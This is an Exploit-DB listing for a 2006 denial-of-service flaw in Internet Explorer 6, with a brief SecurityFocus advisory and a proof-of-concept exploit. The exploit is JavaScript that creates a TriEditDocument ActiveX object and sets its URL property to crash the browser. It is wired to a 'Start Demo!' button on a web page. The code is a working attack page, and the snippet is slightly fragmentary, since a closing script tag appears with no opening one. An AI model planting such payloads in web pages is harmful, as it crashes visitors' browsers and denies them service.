Microsoft Internet Explorer 6 - TriEditDocument Denial of Service

EDB-ID:

28207


Author:

hdm

Type:

dos


Platform:

Windows

Date:

2006-07-11


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source: https://www.securityfocus.com/bid/18946/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability.

This issue is triggered when an attacker convinces a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

// MoBB Demonstration
function Demo() {
	var a = new ActiveXObject('TriEditDocument.TriEditDocument');
	a.URL = "Boom!";
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>